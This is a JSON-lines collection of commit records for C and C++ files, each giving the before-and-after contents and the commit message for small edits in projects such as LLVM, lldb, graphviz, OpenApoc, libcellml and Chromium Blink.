{"commit":"89de24b762d3032816d918392725d6ce41d21092","old_file":"src\/Config.h","new_file":"src\/Config.h","old_contents":"\/*\n    Config (Singleton), extends ofxXMLSettings \n    Loads app configuration properties from xml file.\n*\/\n\n#pragma once\n\n#ifndef BBC_CONFIG\n#define BBC_CONFIG\n\n#include \"XmlSettingsEx.h\"\n\n#define CONFIG_GET(_key, _attr, _def) bbc::utils::Config::instance()->getAttribute(\"config:\"_key, _attr, _def)\n\nnamespace bbc {\n\tnamespace utils {\n        \n        class Config : public XmlSettingsEx {\n            \n            public:\n                static string data_file_path;\n                \n                static Config* instance(); \/\/ pointer to itself\n                \n                bool load_success;\n                           \n            protected:\n                Config(); \/\/ protected constuctor\n        \n        };\n        \n    }\n}\n\n#endif","new_contents":"\/*\n    Config (Singleton), extends ofxXMLSettings \n    Loads app configuration properties from xml file.\n*\/\n\n#pragma once\n\n#ifndef BBC_CONFIG\n#define BBC_CONFIG\n\n#include \"XmlSettingsEx.h\"\n\n#define CONFIG_GET(_key, _attr, _def) bbc::utils::Config::instance()->getAttribute(\"config:\"_key, _attr, _def)\n\nnamespace bbc {\n\tnamespace utils {\n        \n        class Config : public XmlSettingsEx {\n            \n            public:\n                static string data_file_path;\n                \n                static Config* instance(); \/\/ pointer to itself\n                \n                bool load_success;\n                           \n            protected:\n                Config(); \/\/ hidden constuctor\n        \n        };\n        \n    }\n}\n\n#endif","subject":"Tweak to test commiting from submodule","message":"Tweak to test commiting from submodule\n","lang":"C","license":"mit","repos":"radamchin\/ofxBBCUtils,radamchin\/ofxBBCUtils"}
{"commit":"615cdb92ee442cbfac75e3602df857e06ab9aee6","old_file":"include\/llvm\/iOperators.h","new_file":"include\/llvm\/iOperators.h","old_contents":"\/\/===-- llvm\/iBinary.h - Binary Operator node definitions --------*- C++ -*--=\/\/\n\/\/\n\/\/ This file contains the declarations of all of the Binary Operator classes.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_IBINARY_H\n#define LLVM_IBINARY_H\n\n#include \"llvm\/InstrTypes.h\"\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/                 Classes to represent Binary operators\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ All of these classes are subclasses of the BinaryOperator class...\n\/\/\n\nclass GenericBinaryInst : public BinaryOperator {\npublic:\n  GenericBinaryInst(BinaryOps Opcode, Value *S1, Value *S2, \n\t\t    const std::string &Name = \"\")\n    : BinaryOperator(Opcode, S1, S2, Name) {\n  }\n};\n\nclass SetCondInst : public BinaryOperator {\n  BinaryOps OpType;\npublic:\n  SetCondInst(BinaryOps opType, Value *S1, Value *S2, \n\t      const std::string &Name = \"\");\n\n  \/\/ getInverseCondition - Return the inverse of the current condition opcode.\n  \/\/ For example seteq -> setne, setgt -> setle, setlt -> setge, etc...\n  \/\/\n  BinaryOps getInverseCondition() const;\n};\n\n#endif\n","new_contents":"\/\/===-- llvm\/iBinary.h - Binary Operator node definitions --------*- C++ -*--=\/\/\n\/\/\n\/\/ This file contains the declarations of all of the Binary Operator classes.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_IBINARY_H\n#define LLVM_IBINARY_H\n\n#include \"llvm\/InstrTypes.h\"\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/                 Classes to represent Binary operators\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ All of these classes are subclasses of the BinaryOperator class...\n\/\/\n\nclass GenericBinaryInst : public BinaryOperator {\npublic:\n  GenericBinaryInst(BinaryOps Opcode, Value *S1, Value *S2, \n\t\t    const std::string &Name = \"\")\n    : BinaryOperator(Opcode, S1, S2, Name) {\n  }\n};\n\nclass SetCondInst : public BinaryOperator {\n  BinaryOps OpType;\npublic:\n  SetCondInst(BinaryOps opType, Value *S1, Value *S2, \n\t      const std::string &Name = \"\");\n\n  \/\/ getInverseCondition - Return the inverse of the current condition opcode.\n  \/\/ For example seteq -> setne, setgt -> setle, setlt -> setge, etc...\n  \/\/\n  BinaryOps getInverseCondition() const;\n\n  \/\/ Methods for support type inquiry through isa, cast, and dyn_cast:\n  static inline bool classof(const SetCondInst *) { return true; }\n  static inline bool classof(const Instruction *I) {\n    return I->getOpcode() == SetEQ || I->getOpcode() == SetNE ||\n           I->getOpcode() == SetLE || I->getOpcode() == SetGE ||\n           I->getOpcode() == SetLT || I->getOpcode() == SetGT;\n  }\n  static inline bool classof(const Value *V) {\n    return isa<Instruction>(V) && classof(cast<Instruction>(V));\n  }\n};\n\n#endif\n","subject":"Implement classof for SetCondInst so that instcombine doesn't break on dyn_cast<SetCondInst>","message":"Implement classof for SetCondInst so that instcombine doesn't break on dyn_cast<SetCondInst>\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@3493 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap,apple\/swift-llvm,dslab-epfl\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm"}
{"commit":"061bf34805bbe88b25f9084b9f99a7096689c5d8","old_file":"library\/strings_format.h","new_file":"library\/strings_format.h","old_contents":"#pragma once\n\n#define TINYFORMAT_USE_VARIADIC_TEMPLATES\n\n#ifdef __GNUC__\n\/\/ Tinyformat has a number of non-annotated switch fallthrough cases\n#pragma GCC diagnostic push\n#pragma GCC diagnostic ignored \"-Wimplicit-fallthrough\"\n#endif\n\n#include \"dependencies\/tinyformat\/tinyformat.h\"\n\n#ifdef __GNUC__\n#pragma GCC diagnostic pop\n#endif\n\n#include \"library\/strings.h\"\nnamespace OpenApoc\n{\n\ntemplate <typename... Args> static UString format(const UString &fmt, Args &&... args)\n{\n\treturn tfm::format(fmt.cStr(), std::forward<Args>(args)...);\n}\n\nUString tr(const UString &str, const UString domain = \"ufo_string\");\n\n} \/\/ namespace OpenApoc\n","new_contents":"#pragma once\n\n#include \"fmt\/printf.h\"\n#include \"library\/strings.h\"\n\nnamespace OpenApoc\n{\n\ntemplate <typename... Args> static UString format(const UString &fmt, Args &&... args)\n{\n\treturn fmt::sprintf(fmt.str(), std::forward<Args>(args)...);\n}\n\nUString tr(const UString &str, const UString domain = \"ufo_string\");\n\n} \/\/ namespace OpenApoc\n\ntemplate <> struct fmt::formatter<OpenApoc::UString> : formatter<std::string>\n{\n\ttemplate <typename FormatContext> auto format(const OpenApoc::UString &s, FormatContext &ctx)\n\t{\n\t\treturn formatter<std::string>::format(s.str(), ctx);\n\t}\n};\n","subject":"Use fmtlib's sprintf instead of tinyformat","message":"Use fmtlib's sprintf instead of tinyformat\n\nTODO: Move to the indexed formatting strings for fmtlib\n","lang":"C","license":"mit","repos":"Istrebitel\/OpenApoc,pmprog\/OpenApoc,pmprog\/OpenApoc,steveschnepp\/OpenApoc,Istrebitel\/OpenApoc,steveschnepp\/OpenApoc"}
{"commit":"c7d9355a433bbd0f82dfa466bf220101e456789a","old_file":"base\/type_defs.h","new_file":"base\/type_defs.h","old_contents":"#pragma once\n\n#include <string>\n#include <cstdlib>\n\n\/\/ Integer types\ntypedef char int8_t;\ntypedef unsigned char uint8_t;\ntypedef short int16_t;\ntypedef unsigned short uint16_t;\ntypedef long int32_t;\ntypedef unsigned long uint32_t;\ntypedef long long int64_t;\ntypedef unsigned long long uint64_t;\n\n#ifndef _swap_int\n\ntemplate <typename T>\nvoid _swap_int(T& a, T& b) { T t(a); a = b; b = t; }\n\n#endif \/\/ !_swap_int","new_contents":"#pragma once\n\n#include <string>\n#include <cstdlib>\n\n\/\/ Integer types\n#ifdef int8_t\ntypedef char int8_t;\n#endif \/\/ !int8_t\n\n#ifdef uint8_t\ntypedef unsigned char uint8_t;\n#endif \/\/ !uint8_t\n\n#ifdef int16_t\ntypedef short int16_t;\n#endif \/\/ !int16_t\n\n#ifdef uint16_t\ntypedef unsigned short uint16_t;\n#endif \/\/ !uint16_t\n\n#ifdef int32_t\ntypedef long int32_t;\n#endif \/\/ !int32_t\n\n#ifdef uint32_t\ntypedef unsigned long uint32_t;\n#endif \/\/ !uint32_t\n\n#ifdef int64_t\ntypedef long long int64_t;\n#endif \/\/ !int64_t\n\n#ifdef uint64_t\ntypedef unsigned long long uint64_t;\n#endif \/\/ !uint64_t\n\n#ifndef _swap_int\n\ntemplate <typename T>\nvoid _swap_int(T& a, T& b) { T t(a); a = b; b = t; }\n\n#endif \/\/ !_swap_int","subject":"Fix basic type redefinition errors","message":"Fix basic type redefinition errors\n","lang":"C","license":"mit","repos":"LartSimZ\/gameAmbiance"}
{"commit":"4cabeb8a7181b841457efa594287b66bf81956e4","old_file":"src\/skbuff.c","new_file":"src\/skbuff.c","old_contents":"#include \"syshead.h\"\n#include \"skbuff.h\"\n\nstruct sk_buff *alloc_skb(unsigned int size)\n{\n    struct sk_buff *skb = malloc(sizeof(struct sk_buff));\n\n    skb->data = malloc(size);\n    skb->head = skb->data;\n    skb->tail = skb->data;\n    skb->end = skb->tail + size;\n\n    return skb;\n}\n\nvoid *skb_reserve(struct sk_buff *skb, unsigned int len)\n{\n    skb->data += len;\n    skb->tail += len;\n\n    return skb->data;\n}\n\nuint8_t *skb_push(struct sk_buff *skb, unsigned int len)\n{\n    skb->data -= len;\n    skb->len += len;\n\n    return skb->data;\n}\n\nvoid skb_dst_set(struct sk_buff *skb, struct dst_entry *dst)\n{\n    skb->dst = dst;\n}\n","new_contents":"#include \"syshead.h\"\n#include \"skbuff.h\"\n\nstruct sk_buff *alloc_skb(unsigned int size)\n{\n    struct sk_buff *skb = malloc(sizeof(struct sk_buff));\n\n    memset(skb, 0, sizeof(struct sk_buff));\n    skb->data = malloc(size);\n    memset(skb->data, 0, size);\n    \n    skb->head = skb->data;\n    skb->tail = skb->data;\n    skb->end = skb->tail + size;\n\n    return skb;\n}\n\nvoid *skb_reserve(struct sk_buff *skb, unsigned int len)\n{\n    skb->data += len;\n    skb->tail += len;\n\n    return skb->data;\n}\n\nuint8_t *skb_push(struct sk_buff *skb, unsigned int len)\n{\n    skb->data -= len;\n    skb->len += len;\n\n    return skb->data;\n}\n\nvoid skb_dst_set(struct sk_buff *skb, struct dst_entry *dst)\n{\n    skb->dst = dst;\n}\n","subject":"Fix Valgrind complaint about unitialized heap memory","message":"Fix Valgrind complaint about unitialized heap memory\n","lang":"C","license":"mit","repos":"saminiir\/level-ip,saminiir\/level-ip"}
{"commit":"39ec68310c69c7f86f4a2fa638782094ef17ac6b","old_file":"packages\/Python\/lldbsuite\/test\/functionalities\/breakpoint\/debugbreak\/main.c","new_file":"packages\/Python\/lldbsuite\/test\/functionalities\/breakpoint\/debugbreak\/main.c","old_contents":"#ifdef _MSC_VER\n#include <intrin.h>\n#define BREAKPOINT_INTRINSIC()    __debugbreak()\n#else\n#define BREAKPOINT_INTRINSIC()    __asm__ __volatile__ (\"int3\")\n#endif\n\nint\nbar(int const *foo)\n{\n    int count = 0;\n    for (int i = 0; i < 10; ++i)\n    {\n        count += 1;\n        BREAKPOINT_INTRINSIC();\n        count += 1;\n    }\n    return *foo;\n}\n\nint\nmain(int argc, char **argv)\n{\n    int foo = 42;\n    bar(&foo);\n    return 0;\n}\n\n\n","new_contents":"#ifdef _MSC_VER\n#include <intrin.h>\n#define BREAKPOINT_INTRINSIC()    __debugbreak()\n#else\n#define BREAKPOINT_INTRINSIC()    __asm__ __volatile__ (\"int3\")\n#endif\n\nint\nbar(int const *foo)\n{\n    int count = 0, i = 0;\n    for (; i < 10; ++i)\n    {\n        count += 1;\n        BREAKPOINT_INTRINSIC();\n        count += 1;\n    }\n    return *foo;\n}\n\nint\nmain(int argc, char **argv)\n{\n    int foo = 42;\n    bar(&foo);\n    return 0;\n}\n\n\n","subject":"Fix TestDebugBreak.py failure with gcc, for loop declarations are not allowed by default with gcc","message":"Fix TestDebugBreak.py failure with gcc, for loop declarations are not allowed by default with gcc\n\n- fix buildbot breakage after r257186\n- move declaration outside of for loop\n\ngit-svn-id: 4c4cc70b1ef44ba2b7963015e681894188cea27e@257228 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-lldb,llvm-mirror\/lldb,llvm-mirror\/lldb,apple\/swift-lldb,apple\/swift-lldb,llvm-mirror\/lldb,llvm-mirror\/lldb,llvm-mirror\/lldb,apple\/swift-lldb,apple\/swift-lldb,apple\/swift-lldb"}
{"commit":"79f3cfe1af88a4dd9b2343f14d50289106d5d973","old_file":"firmware\/i2c_lcd.c","new_file":"firmware\/i2c_lcd.c","old_contents":"#include <avr\/io.h>\n#include <util\/delay.h>\n#include \"slcd.h\"\n\nint main()\n{\n  init_lcd();\n\n  uint8_t backlit = 1;\n\n  while (1)\n  {\n    lcd_clrscr();\n\n    lcd_goto(LINE1);\n    lcd_puts(\"Line 1\", backlit);\n\n    lcd_goto(LINE2);\n    lcd_puts(\"Line 2\", backlit);\n\n    lcd_goto(LINE3);\n    lcd_puts(\"Line 3\", backlit);\n\n    lcd_goto(LINE4);\n    lcd_puts(\"Line 4\", backlit);\n\n    _delay_ms(500);\n\n    \/\/ Blink the backlight\n    for (uint8_t i=0; i<6; i++)\n    {\n      send_byte(0, 0x80 + LINE4 + 6, i%2);\n      _delay_ms(50);\n    }\n\n    _delay_ms(500);\n\n  }\n\n  return 0;\n}\n","new_contents":"#include <avr\/io.h>\n#include <util\/delay.h>\n#include \"slcd.h\"\n\nint main()\n{\n  init_lcd();\n\n  uint8_t backlit = 1;\n\n  while (1)\n  {\n    lcd_clrscr();\n\n    lcd_goto(0, 0);\n    lcd_puts(\"Line 1\", backlit);\n\n    lcd_goto(1, 0);\n    lcd_puts(\"Line 2\", backlit);\n\n    lcd_goto(2, 0);\n    lcd_puts(\"Line 3\", backlit);\n\n    lcd_goto(3, 0);\n    lcd_puts(\"Line 4\", backlit);\n\n    _delay_ms(500);\n\n    \/\/ Blink the backlight\n    for (uint8_t i=0; i<6; i++)\n    {\n      send_byte(0, 0x80 + LCD_LINE3 + 6, i%2);\n      _delay_ms(50);\n    }\n\n    _delay_ms(500);\n\n    \/\/ Raster the cursor to check the goto function\n    lcd_clrscr();\n    for (uint8_t i=0; i<LCD_LINES; i++)\n      for (uint8_t j=0; j<LCD_WIDTH; j++)\n      {\n        lcd_goto(i, j);\n        _delay_ms(100);\n      }\n\n  }\n\n  return 0;\n}\n","subject":"Adjust to changes in slcd library","message":"Adjust to changes in slcd library\n","lang":"C","license":"mit","repos":"andrewadare\/avr-breadboarding,andrewadare\/avr-breadboarding"}
{"commit":"a5a60654efc3f97ba1cf6cbf7043c28ed9860b02","old_file":"cmd\/lefty\/exec.h","new_file":"cmd\/lefty\/exec.h","old_contents":"\/* $Id$ $Revision$ *\/\n\/* vim:set shiftwidth=4 ts=8: *\/\n\n\/**********************************************************\n*      This software is part of the graphviz package      *\n*                http:\/\/www.graphviz.org\/                 *\n*                                                         *\n*            Copyright (c) 1994-2004 AT&T Corp.           *\n*                and is licensed under the                *\n*            Common Public License, Version 1.0           *\n*                      by AT&T Corp.                      *\n*                                                         *\n*        Information and Software Systems Research        *\n*              AT&T Research, Florham Park NJ             *\n**********************************************************\/\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\n\/* Lefteris Koutsofios - AT&T Bell Laboratories *\/\n\n#ifndef _EXEC_H\n#define _EXEC_H\n    typedef struct Tonm_t lvar_t;\n\n    extern Tobj root, null;\n    extern Tobj rtno;\n    extern int Erun;\n    extern int Eerrlevel, Estackdepth, Eshowbody, Eshowcalls, Eoktorun;\n\n    void Einit(void);\n    void Eterm(void);\n    Tobj Eunit(Tobj);\n    Tobj Efunction(Tobj, char *);\n#endif\t\t\t\t\/* _EXEC_H *\/\n\n#ifdef __cplusplus\n}\n#endif\n","new_contents":"\/* $Id$ $Revision$ *\/ \n\/* vim:set shiftwidth=4 ts=8: *\/\n\n\/**********************************************************\n*      This software is part of the graphviz package      *\n*                http:\/\/www.graphviz.org\/                 *\n*                                                         *\n*            Copyright (c) 1994-2004 AT&T Corp.           *\n*                and is licensed under the                *\n*            Common Public License, Version 1.0           *\n*                      by AT&T Corp.                      *\n*                                                         *\n*        Information and Software Systems Research        *\n*              AT&T Research, Florham Park NJ             *\n**********************************************************\/\n    \n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\/* Lefteris Koutsofios - AT&T Labs Research *\/\n\n#ifndef _EXEC_H\n#define _EXEC_H\ntypedef struct Tonm_t lvar_t;\n\nextern Tobj root, null;\nextern Tobj rtno;\nextern int Erun;\nextern int Eerrlevel, Estackdepth, Eshowbody, Eshowcalls, Eoktorun;\n\nvoid Einit (void);\nvoid Eterm (void);\nTobj Eunit (Tobj);\nTobj Efunction (Tobj, char *);\n#endif \/* _EXEC_H *\/\n\n#ifdef __cplusplus\n}\n#endif\n\n","subject":"Update with new lefty, fixing many bugs and supporting new features","message":"Update with new lefty, fixing many bugs and supporting new features\n","lang":"C","license":"epl-1.0","repos":"MjAbuz\/graphviz,MjAbuz\/graphviz,jho1965us\/graphviz,BMJHayward\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,ellson\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,ellson\/graphviz,ellson\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,ellson\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,ellson\/graphviz,kbrock\/graphviz,pixelglow\/graphviz,tkelman\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,pixelglow\/graphviz,tkelman\/graphviz,ellson\/graphviz,ellson\/graphviz,ellson\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,tkelman\/graphviz,tkelman\/graphviz,MjAbuz\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,ellson\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,BMJHayward\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,ellson\/graphviz,BMJHayward\/graphviz"}
{"commit":"3f37918a0580654ff642a70276f5b94651d224c5","old_file":"DeepLinkSDK\/DeepLinkSDK.h","new_file":"DeepLinkSDK\/DeepLinkSDK.h","old_contents":"#import \"DPLTargetViewControllerProtocol.h\"\n#import \"DPLDeepLinkRouter.h\"\n#import \"DPLRouteHandler.h\"\n#import \"DPLDeepLink.h\"\n#import \"DPLErrors.h\"\n","new_contents":"#import \"DPLTargetViewControllerProtocol.h\"\n#import \"DPLDeepLinkRouter.h\"\n#import \"DPLRouteHandler.h\"\n#import \"DPLDeepLink.h\"\n#import \"DPLMutableDeepLink.h\"\n#import \"DPLErrors.h\"\n","subject":"Add mutable deep link to sdk header.","message":"Add mutable deep link to sdk header.\n","lang":"C","license":"mit","repos":"button\/DeepLinkKit,button\/DeepLinkKit,button\/DeepLinkKit,usebutton\/DeepLinkKit,button\/DeepLinkKit,usebutton\/DeepLinkKit,usebutton\/DeepLinkKit"}
{"commit":"aab5eceb9b33a5109792ba52bc9f1ddf39059364","old_file":"src\/debug.h","new_file":"src\/debug.h","old_contents":"\/*\nCopyright libCellML Contributors\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*\/\n\n#pragma once\n\n#include <iostream>\n#include <sstream>\n\nnamespace libcellml {\n\nstruct dbg\n{\n    dbg() = default;\n\n    ~dbg()\n    {\n        std::cout << mSS.str() << std::endl;\n    }\n\npublic:\n    dbg &operator<<(const void *p)\n    {\n        const void *address = static_cast<const void *>(p);\n        std::ostringstream ss;\n        ss << address;\n        mSS << ss.str();\n        return *this;\n    }\n\n    \/\/ accepts just about anything\n    template<class T>\n    dbg &operator<<(const T &x)\n    {\n        mSS << x;\n        return *this;\n    }\n\nprivate:\n    std::ostringstream mSS;\n};\n\n} \/\/ namespace libcellml\n","new_contents":"\/*\nCopyright libCellML Contributors\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*\/\n\n#pragma once\n\n#include <iostream>\n#include <sstream>\n\nnamespace libcellml {\n\nstruct Debug\n{\n    Debug() = default;\n\n    ~Debug()\n    {\n        std::cout << mSS.str() << std::endl;\n    }\n\n    Debug &operator<<(const void *p)\n    {\n        const void *address = static_cast<const void *>(p);\n        std::ostringstream ss;\n        ss << address;\n        mSS << ss.str();\n        return *this;\n    }\n\n    \/\/ accepts just about anything\n    template<class T>\n    Debug &operator<<(const T &x)\n    {\n        mSS << x;\n        return *this;\n    }\n\nprivate:\n    std::ostringstream mSS;\n};\n\n} \/\/ namespace libcellml\n","subject":"Rename dbg struct to Debug.","message":"Rename dbg struct to Debug.\n","lang":"C","license":"apache-2.0","repos":"MichaelClerx\/libcellml,cellml\/libcellml,cellml\/libcellml,hsorby\/libcellml,cellml\/libcellml,nickerso\/libcellml,MichaelClerx\/libcellml,nickerso\/libcellml,hsorby\/libcellml,nickerso\/libcellml,cellml\/libcellml,nickerso\/libcellml,MichaelClerx\/libcellml,hsorby\/libcellml,hsorby\/libcellml"}
{"commit":"62818dc7b1772e8471615dc22fbf5c5be3b896d0","old_file":"AddToItself.c","new_file":"AddToItself.c","old_contents":"","new_contents":"\/* last written on 11\/09\/2017 16:34:14\nowner ise2017001 rajaneesh\n@devrezo on twitter\n@devrezo on github\n*\/\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\nstruct node {\n        int data;\n        struct node *next;\n};\nstruct node *createNode (int value) {\n        struct node *newNode = (struct node *) malloc (sizeof (struct node));\n        newNode -> data = value;\n        newNode -> next = NULL;\n        return newNode;\n}\nvoid insertNode (struct node **head_ref, struct node **tail_ref, int value) {\n        struct node *newNode = createNode (value);\n        if (*head_ref == NULL) {\n                *head_ref = newNode;\n                *tail_ref = newNode;\n}\n        else {\n                (*tail_ref) -> next = newNode;\n                *tail_ref = newNode;\n}\n}\nvoid  printList (struct node *head) {\n        while (head != NULL) {\n                printf (\"%d -> \", head->data);\n                head = head->next;\n}\n        printf (\"NULL\\n\");\n}\nvoid destroyList (struct node *head) {\n        struct node *nextNode = head;\n        while (head != NULL) {\n                nextNode = head -> next;\n                free (head);\n                head = nextNode;\n}\n        printf(\"Killed off all her feelings\\n\" );\n}\nvoid addToItself (struct node **head_ref) {\n        struct node *headNew = NULL;\n        struct node *tailNew = NULL;\n        struct node *prevNode = NULL;\n        struct node *currentNode = NULL;\n        currentNode = (*head_ref);\n        if (currentNode == NULL) {\n                return;\n}\n        while (currentNode != NULL) {\n                insertNode (&headNew, &tailNew, currentNode->data);\n                prevNode = currentNode;\n                currentNode = currentNode->next;\n}\n        prevNode->next = headNew;\n        return;\n}\nint main (int argc, char *argv[]) {\n        int value;\n        struct node *head = NULL, *tail = NULL;\n        char buffer[2048];\n        char *p = NULL;\n\n        fgets (buffer, 2048, stdin);\n        p = strtok (buffer, \"NULL >|\\n\");\n        while (p != NULL) {\n                sscanf (p, \"%d\", &value);\n                insertNode (&head, &tail, value);\n                p = strtok (NULL, \"> | NULL \\n\");\n        }\n        printList (head);\n        addToItself (&head);\n        printList (head);\n        destroyList (head);\n        head = NULL;\n        tail = NULL;\n        return 0;\n}\n","subject":"Add a linked list to itself","message":"Added: Add a linked list to itself\n\nhave two new pointers headNew and tailNew\r\ncreate a linked list as we traverse through the list using the insertNode method.","lang":"C","license":"mit","repos":"devrezo\/iaap"}
{"commit":"ec00e8cfc23cb7d04a9b13730607d6c094446f36","old_file":"test\/tstsoap1.c","new_file":"test\/tstsoap1.c","old_contents":"\/*\n * Copyright (C) 1995-2005, Index Data ApS\n * See the file LICENSE for details.\n *\n * $Id: tstsoap1.c,v 1.1 2005-05-06 11:11:37 adam Exp $\n *\/\n\n#include <stdlib.h>\n#if HAVE_XML2\n#include <libxml\/parser.h>\n#endif\n\nint main(int argc, char **argv)\n{\n#if HAVE_XML2\n    LIBXML_TEST_VERSION;\n\n    if (argc <= 1)\n    {\n\txmlChar *buf_out;\n\tint len_out;\n\txmlDocPtr doc = xmlNewDoc(\"1.0\");\n#if 0\n\tconst char *val = \"jordbr\"; \/* makes xmlDocDumpMemory hang .. *\/\n#else\n\tconst char *val = \"jordbaer\"; \/* OK *\/\n#endif\n\txmlNodePtr top = xmlNewNode(0, \"top\");\n\t\n\txmlNewTextChild(top, 0, \"sub\", val);\n\txmlDocSetRootElement(doc, top);\n\t\n\txmlDocDumpMemory(doc, &buf_out, &len_out);\n\tprintf(\"%*s\", len_out, buf_out);\n    }\n#endif\n    return 0;\n}\n\n\n","new_contents":"\/*\n * Copyright (C) 1995-2005, Index Data ApS\n * See the file LICENSE for details.\n *\n * $Id: tstsoap1.c,v 1.2 2005-05-08 07:33:12 adam Exp $\n *\/\n\n#include <stdlib.h>\n#if HAVE_XML2\n#include <libxml\/parser.h>\n#endif\n\nint main(int argc, char **argv)\n{\n#if HAVE_XML2\n    LIBXML_TEST_VERSION;\n\n    if (argc <= 1)\n    {\n\txmlChar *buf_out;\n\tint len_out;\n\txmlDocPtr doc = xmlNewDoc(\"1.0\");\n#if 0\n\tconst char *val = \"jordbr\"; \/* makes xmlDocDumpMemory hang .. *\/\n#else\n\tconst char *val = \"jordbaer\"; \/* OK *\/\n#endif\n\txmlNodePtr top = xmlNewNode(0, \"top\");\n\t\n\txmlNewTextChild(top, 0, \"sub\", val);\n\txmlDocSetRootElement(doc, top);\n\t\n\txmlDocDumpMemory(doc, &buf_out, &len_out);\n#if 0\n\tprintf(\"%*s\", len_out, buf_out);\n#endif\n    }\n#endif\n    return 0;\n}\n\n\n","subject":"Comment out debug printf stmt","message":"Comment out debug printf stmt\n","lang":"C","license":"bsd-3-clause","repos":"nla\/yaz,dcrossleyau\/yaz,nla\/yaz,dcrossleyau\/yaz,dcrossleyau\/yaz,nla\/yaz,nla\/yaz"}
{"commit":"1c067fe6149a5b428c3f32cd7a3926992922c40c","old_file":"public\/platform\/modules\/push_messaging\/WebPushSubscriptionOptions.h","new_file":"public\/platform\/modules\/push_messaging\/WebPushSubscriptionOptions.h","old_contents":"","new_contents":"\/\/ Copyright 2015 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WebPushSubscriptionOptions_h\n#define WebPushSubscriptionOptions_h\n\nnamespace blink {\n\nstruct WebPushSubscriptionOptions {\n    WebPushSubscriptionOptions()\n        : userVisible(false)\n    {\n    }\n\n    \/\/ Indicates that the subscription will only be used for push messages\n    \/\/ that result in UI visible to the user.\n    bool userVisible;\n};\n\n} \/\/ namespace blink\n\n#endif \/\/ WebPushSubscriptionOptions_h\n","subject":"Introduce a PushSubscriptionOptions struct in the Blink API.","message":"Introduce a PushSubscriptionOptions struct in the Blink API.\n\nThis object will contain the values available in the new Web exposed\nPushSubscriptionOptions dictionary, which will be introduced in the\nthird patch of this series.\n\nThis CL is part of a series of four:\n  [1] This patch.\n  [2] https:\/\/codereview.chromium.org\/1043723003\/\n  [3] https:\/\/codereview.chromium.org\/1044663002\/\n  [4] https:\/\/codereview.chromium.org\/1044673002\/\n\nBUG=471534\n\nReview URL: https:\/\/codereview.chromium.org\/1047533002\n\ngit-svn-id: bf5cd6ccde378db821296732a091cfbcf5285fbd@192834 